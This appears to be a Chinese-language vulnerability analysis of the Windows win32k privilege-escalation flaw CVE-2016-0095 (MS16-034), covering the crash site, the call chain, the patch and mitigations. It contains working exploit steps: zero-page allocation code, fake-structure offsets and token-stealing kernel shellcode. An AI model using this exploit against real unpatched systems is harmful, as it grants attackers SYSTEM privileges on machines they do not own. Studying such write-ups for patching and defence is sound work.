CVE-2016-0095 Windows提权漏洞分析
字数 1163 2025-08-03 16:49:24
Windows提权漏洞CVE-2016-0095(MS16-034)分析与利用
漏洞概述
CVE-2016-0095是Windows内核中的一个提权漏洞,存在于win32k.sys组件中。该漏洞属于空指针解引用类型,影响Windows 7 SP1 x86和Windows 10 x86系统。攻击者可以利用此漏洞从普通用户权限提升至SYSTEM权限。
漏洞原理分析
漏洞触发点
漏洞位于win32k!bGetRealizedBrush函数中,具体崩溃点在:
win32k!bGetRealizedBrush+0x38:
95d40560 f6402401 test byte ptr [eax+24h],1
当eax为NULL时,尝试访问[eax+24h]会导致访问违例,系统蓝屏。
漏洞调用链
完整的调用链如下:
win32k!NtGdiFillRgn+0x339
-> win32k!EngPaint
-> win32k!EngBitBlt
-> win32k!pvGetEngRbrush
-> win32k!bGetRealizedBrush
关键结构分析
漏洞涉及两个关键结构:
-
_BRUSHOBJ结构:
- 偏移0x34处包含指向另一个结构的指针
- 该指针+0x1C处应为有效值,但在漏洞触发时为NULL
-
_SURFOBJ结构:
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
根本原因
漏洞的根本原因是未正确验证_BRUSHOBJ结构中偏移0x34处指针的有效性,导致可以解引用NULL指针。通过精心构造的GDI调用链,攻击者可以控制执行流程。
漏洞利用技术
利用思路
- 分配零页内存(0x00000000 - 0x00000FFF)
- 在零页构造伪造的结构体,绕过检查
- 放置Shellcode并设置跳转
- 触发漏洞执行Shellcode
关键利用步骤
- 分配零页内存:
*((FARPROC*)&NtAllocateVirtualMemory) = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
- 绕过检查:
*(DWORD*)(0x590) = (DWORD)0x1; // 绕过第一处检查
*(DWORD*)(0x592) = (DWORD)0x1; // 绕过第二处检查
- 设置Shellcode跳转:
*(DWORD*)(0x748) = (DWORD)&ShellCode; // 设置[eax+748h]为Shellcode地址
- Shellcode实现:
pushad
mov eax, fs:[124h] // 获取当前线程的_KTHREAD结构
mov eax, [eax+0x50] // 获取_EPROCESS结构
mov ecx, eax
mov edx, 4 // SYSTEM进程PID=4
find_sys_pid:
mov eax, [eax+0xb8] // 获取进程活动链表
sub eax, 0xb8 // 遍历链表
cmp [eax+0xb4], edx // 比较PID
jnz find_sys_pid
// 替换Token
mov edx, [eax+0xf8]
mov [ecx+0xf8], edx
popad
ret
- 触发漏洞:
Trigger_BSoDPoc(); // 调用漏洞触发函数
完整利用流程
- 使用
CreateBitmapIndirect创建特制的位图对象 - 调用未文档化的
NtGdiSetBitmapAttributes函数设置位图属性 - 创建特定区域(HRGN)和设备上下文(HDC)
- 调用
FillRgn触发漏洞执行路径
漏洞修复
微软在MS16-034补丁中修复了此漏洞,主要修复措施包括:
- 在
bGetRealizedBrush函数中添加了指针有效性检查 - 验证
_BRUSHOBJ结构中偏移0x34处指针不为NULL - 确保所有GDI对象在使用前都经过适当验证
防御建议
- 及时安装微软安全更新
- 启用DEP(数据执行保护)和ASLR(地址空间布局随机化)
- 限制普通用户对GDI API的调用权限
- 使用EMET等缓解工具增强防护
扩展利用
此漏洞在x64系统上的利用方法类似,只需调整相应偏移即可。攻击者还可以结合其他漏洞实现更复杂的攻击链。
参考资源
- Microsoft安全公告MS16-034
- Windows内核结构文档
- GDI内部实现相关资料
- k0shl师傅的分析文章: https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html